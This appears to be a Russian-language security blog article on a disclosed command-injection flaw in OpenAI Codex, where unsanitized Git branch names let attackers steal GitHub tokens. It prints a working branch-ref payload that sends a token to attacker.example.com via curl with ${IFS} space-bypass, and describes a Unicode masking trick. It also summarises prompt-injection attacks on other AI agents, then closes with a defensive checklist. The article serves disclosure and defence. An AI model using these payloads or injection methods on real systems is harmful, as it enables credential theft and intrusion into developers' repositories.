Безопасность

Как украсть GitHub-токен через имя ветки: разбор критической уязвимости OpenAI Codex

BeyondTrust Phantom Labs раскрыли критическую уязвимость в OpenAI Codex: имя Git-ветки без санитизации передавалось в shell-команды, позволяя красть GitHub-токены без единого клика. Разбираем атаку по шагам и даём чеклист защиты.

1 апреля 2026 г.
8 мин чтения
безопасностьAI-агентыбезопасность агентовGitIAMинцидентыкрасная командаCI/CD

30 марта 2026 года BeyondTrust Phantom Labs опубликовали детали критической уязвимости в OpenAI Codex. Суть проста до неприличия: имя Git-ветки передавалось в shell-команды контейнера без какой-либо санитизации. Точка с запятой в имени бранча — и у атакующего полный контроль над выполнением команд внутри контейнера Codex. А в контейнере — живой GitHub OAuth-токен.

Уязвимость затронула ChatGPT web, Codex CLI, SDK и IDE-расширение. OpenAI присвоили статус P1 Critical и закрыли все векторы к 5 февраля 2026 года — до публичного раскрытия. CVE не присвоен: стандартная практика для SaaS-уязвимостей, исправленных на серверной стороне.

Архитектура Codex и где именно ломается

OpenAI Codex — облачный coding-агент, доступный через ChatGPT. Разработчик подключает GitHub-репозиторий, отправляет задачу, Codex поднимает управляемый контейнер и клонирует репозиторий. При клонировании в git remote URL встраивается GitHub OAuth-токен. Токен живёт в контейнере на этапе setup — и удаляется перед фазой агента. Но на этапе setup сеть открыта, токен доступен.

ChatGPT Codex Connector запрашивает read/write-доступ к репозиториям, workflows, actions, issues и pull requests. При авторизации внутри GitHub-организации — получает доступ к приватным ресурсам. Scope широкий, и это критично.

При отправке задачи Codex шлёт POST-запрос на https://chatgpt.com/backend-api/wham/tasks с полями environment, branch name и prompt. На бэкенде имя ветки попадает напрямую в shell-команды — прежде всего в git fetch — без экранирования и кавычек.

Shell-метасимволы ;, &&, |, $(), обратные кавычки — всё интерпретируется Bash'ем как есть.

Пошаговая атака: от semicolon до токена

Исследователь Tyler Jespersen из BeyondTrust подтвердил инъекцию, передав "-1" как имя ветки. Контейнер вернул ошибку в логах Codex — input проходит без фильтрации.

Дальше — элементарно:

  • Задать ветку main
  • Добавить ; — терминировать git-команду
  • Инжектировать вторую команду: git remote get-url origin (содержит cleartext OAuth-токен) → записать результат в файл
  • В prompt попросить Codex-агента прочитать этот файл и вернуть содержимое

Результат: cleartext GitHub OAuth-токен в выводе задачи в веб-портале Codex. С этим токеном атакующий аутентифицируется на GitHub как жертва — с полным набором репозиторных permissions.

Обход валидации GitHub: трюк с ${IFS}

GitHub блокирует пробелы в именах веток. Многословные shell-команды в branch ref не пройдут. Но в Bash есть ${IFS} — переменная Internal Field Separator, которая по умолчанию содержит пробел, табуляцию и перенос строки.

${IFS} для GitHub — валидная последовательность буквенно-цифровых символов, фигурных скобок и доллара. Не пробел. Для Bash — пробел при runtime-вычислении. Каждый пробел в payload заменяется на ${IFS}. GitHub видит легитимное имя ветки. Bash видит полноценную команду.

Пример ref через GitHub API: refs/heads/main;curl${IFS}'attacker.example.com/'`git${IFS}-C${IFS}/workspace/repo${IFS}remote${IFS}get-url${IFS}origin`;

Эта строка терминирует git-команду через ;, выполняет curl на сервер атакующего, через подстановку в обратных кавычках извлекает git remote get-url origin с OAuth-токеном и заменяет пробелы на ${IFS} для обхода GitHub.

Автоматический вариант: zero interaction

Автоматизированная атака не требует вообще никакого взаимодействия с UI Codex:

  • Атакующий с write-доступом к репозиторию создаёт вредоносную ветку через GitHub API (POST /repos/org/repo/git/refs)
  • Любой пользователь Codex, запустивший задачу на этой ветке, теряет свой GitHub-токен
  • Токен молча уходит на сервер атакующего

BeyondTrust подтвердили полную цепочку: поставили HTTP-сервер на EC2 и увидели эксфильтрированный токен в access logs.

Unicode-маскировка: ветка выглядит как «main»

Staff Security Researcher Simon Stewart добавил технику стелса. После слова «main» в имени ветки вставляются 94 символа Ideographic Space (Unicode U+3000), затем || true для подавления ошибок, а после — сам payload.

UI Codex отображает только «main». Вредоносные команды полностью скрыты за пределами видимой области branch selector.

Если атакующий с admin-доступом к репозиторию сделает эту ветку дефолтной — каждый разработчик, открывающий репозиторий в Codex, автоматически попадает на вредоносную ветку. Одно создание бранча превращается в persistent trap.

Вектор через @codex code review

Атака расширялась за пределы интерактивных задач. Упоминание @codex в комментарии к pull request запускало контейнер code review, который клонировал репозиторий на вредоносной ветке и выполнял payload. Этот путь эксфильтрировал GitHub Installation Access Tokens — а не пользовательские OAuth-токены.

Installation-токены могут нести организационные permissions. В зависимости от конфигурации GitHub App — это потенциально более опасный класс credentials.

Цепочка: создать вредоносную ветку → открыть PR → дождаться, пока кто-нибудь тегнет @codex для ревью. Payload выполняется автоматически.

Plaintext credentials в Codex CLI

BeyondTrust нашли ещё одну проблему: Codex CLI, SDK и IDE-расширение хранят credentials в plaintext-файле ~/.codex/auth.json (macOS/Linux) или %USERPROFILE%\.codex\auth.json (Windows). Файл содержит OpenAI API-ключи, access/refresh-токены и идентификаторы аккаунтов. CLI предпочитает системный keyring, но при его недоступности — fallback на plaintext.

С компрометированным access-токеном из этого файла исследователи реплицировали всю атаку через backend API, получая историю задач и эксфильтрированные GitHub-токены.

Хронология раскрытия

  • 16 декабря 2025 — Disclosure через BugCrowd
  • 22 декабря 2025 — OpenAI подтвердили расследование
  • 23 декабря 2025 — Первый hotfix для command injection
  • 22 января 2026 — Фикс shell escape для branch name
  • 30 января 2026 — Дополнительное hardening + ограничение доступа к токенам
  • 5 февраля 2026 — Статус P1 Critical, разрешение на публичное раскрытие
  • 30 марта 2026 — BeyondTrust опубликовали disclosure

Март 2026: паттерн уязвимостей AI coding tools

Эта уязвимость — не единичный случай. Март 2026 принёс критические раскрытия по нескольким AI-кодинг-платформам.

ShadowPrompt (26 марта, Koi Security): zero-click prompt injection в Chrome-расширении Claude от Anthropic. DOM-based XSS в CAPTCHA-компоненте Arkose Labs на a-cdn.claude.ai + слишком широкий origin allowlist позволяли любому сайту молча инжектировать промпты, красть Gmail-токены, читать Google Drive и отправлять email от имени жертвы.

PleaseFix (3 марта, Zenity Labs): zero-click эксфильтрация файлов и кража credentials из 1Password через браузер Perplexity Comet. Приглашение Google Calendar со скрытой prompt injection заставляло AI-агента открывать локальные файлы через file://.

Cursor: 24+ CVE в нескольких волнах раскрытия, включая CVE-2026-22708 (CVSS 9.8, обход shell в Auto-Run Mode) и CVE-2026-26268 (escape через git hooks). OX Security обнаружили, что Cursor и Windsurf работают на устаревших сборках Chromium с 94+ известными непатченными CVE.

Паттерн один: каждый крупный AI coding platform требует широких permissions для полезной работы. Каждый permission становится attack surface, когда агент обрабатывает untrusted input — имена веток, сообщения коммитов, заголовки PR, конфигурационные файлы.

Чеклист безопасности для AI-dev tools

Для разработчиков AI-инструментов

  • Sanitize all external input before shell execution. printf '%q' для экранирования переменных перед передачей в shell. Никакой конкатенации строк в shell-команды.
  • Whitelist branch names: /^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/ — отклонять всё остальное.
  • Не передавать credentials через git remote URL. Использовать credential helpers или environment variables с ограниченным scope.
  • Минимизировать scope OAuth-токенов. Не запрашивать write-доступ к workflows и actions, если он не нужен для конкретной задачи.
  • Ограничить lifetime токенов. Токен setup-фазы должен быть short-lived и отзываться немедленно после клонирования.
  • Network isolation. Setup-фаза контейнера не должна иметь исходящий доступ к произвольным хостам.
  • Credential storage: OS keyring обязателен, plaintext fallback недопустим.

Для пользователей AI coding agents

  • Проверять scope запрашиваемых permissions при авторизации GitHub App. Не давать write-доступ к тому, что не нужно.
  • Использовать fine-grained personal access tokens вместо классических PAT.
  • Мониторить GitHub audit log на необычные API-вызовы с токенов, привязанных к AI-инструментам.
  • Проверять credentials файлы. Искать ~/.codex/auth.json и аналогичные — если они в plaintext, это проблема.
  • Ограничить Codex Connector организационным уровнем. Не давать доступ ко всей организации, если нужен один репозиторий.
  • Ревьюить дефолтные ветки репозиториев. Если имя ветки выглядит как «main» но содержит непечатаемые символы — это red flag.

Архитектурная проблема

Конкретная уязвимость закрыта. Исправления стандартные: санитизация input, scope токенов, экранирование shell-метасимволов, валидация внешних данных. Тот факт, что компания масштаба OpenAI выкатила несанитизированную интерполяцию строк в Bash-команду в 2025 году — говорит о состоянии безопасности AI-агентов больше, чем любой чеклист.

Глубинная проблема — архитектурная. AI coding agents требуют широких permissions для полезной работы. Эти permissions становятся attack surface в момент, когда агент обрабатывает любой input, который не генерировал сам. Branch names, PR titles, commit messages, config files — всё это untrusted input, и всё это скармливается execution environments с живыми credentials.

Это противоречие не решается патчем.

Автор: Алик Завалишев

Эксперт по ИИ и автоматизации процессов

Больше статей